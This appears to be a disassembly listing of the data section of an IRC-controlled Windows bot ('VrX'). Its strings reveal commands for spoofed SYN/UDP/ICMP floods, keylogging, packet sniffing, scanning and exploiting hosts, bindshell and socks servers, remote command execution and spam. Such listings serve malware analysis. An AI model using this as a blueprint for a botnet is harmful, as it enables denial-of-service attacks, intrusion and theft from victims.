		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABA8	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 10h
unk_42ABD0	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC0C	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC44	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42AC8C	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42ACC0	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF4	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42AD2C	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 10h
unk_42AD80	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE38	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42AE70	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB4	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AEFC	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438AF0o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B00o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 10h
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 10h
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 10h
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 10h
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 4
dword_42B05C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B098	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 10h
unk_42B0E0	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 10h
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 10h
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 10h
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 4
aE:					; DATA XREF: sub_401ACD+49DAo
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 4
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:004387C8o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 4
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B254	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B270	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B29C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2BC	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B2FC	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 10h
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B33C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B35C	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 10h
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 4
unk_42B388	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 10h
dword_42B3E0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 10h
dword_42B400	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B438	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B46C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 4
dword_42B498	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 4
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 10h
unk_42B4C0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4EC	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B528	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B564	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 10h
unk_42B590	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5B8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5E4	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B620	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B65C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B68C	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 10h
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 4
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 4
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 4
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:004387BCo ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 10h
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 4
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 4
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 4
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 4
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 10h
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438AECo
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 10h
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 10h
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 4
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:004387C4o ...
		unicode	0, <n>,0
unk_42B784	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 10h
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 10h
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7E4	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B7FC	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B814	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 10h
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 10h
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B85C	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B884	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B888	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B894	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B89C	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 4
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 10h
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B90C	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B920	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B924	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B934	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B938	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B93C	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 10h
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 10h
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 4
unk_42B9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_42B9E4	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA1C	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA48	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA88	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 10h
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAC4	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 10h
unk_42BAF0	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB1C	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB2C	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB7C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_42BBB8	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: sub_401ACD+2D8Eo
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_401ACD+2D88o
		align 10h
aSecuring	db 'Securing',0         ; DATA XREF: sub_401ACD+2D81o
		align 4
unk_42BBEC	db  2Dh	; -		; DATA XREF: sub_401ACD+2D0Ao
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_17	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42BC2C	db  2Dh	; -		; DATA XREF: sub_401ACD+2C86o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_42BC58	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2C04o
aFailedToSta_18	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_42BC94	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_401ACD+2B95o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_42BCBC	dd 234032Dh, 646E6966h,	656C6966h, 2D0302h ; DATA XREF:	sub_401ACD+2AE2o
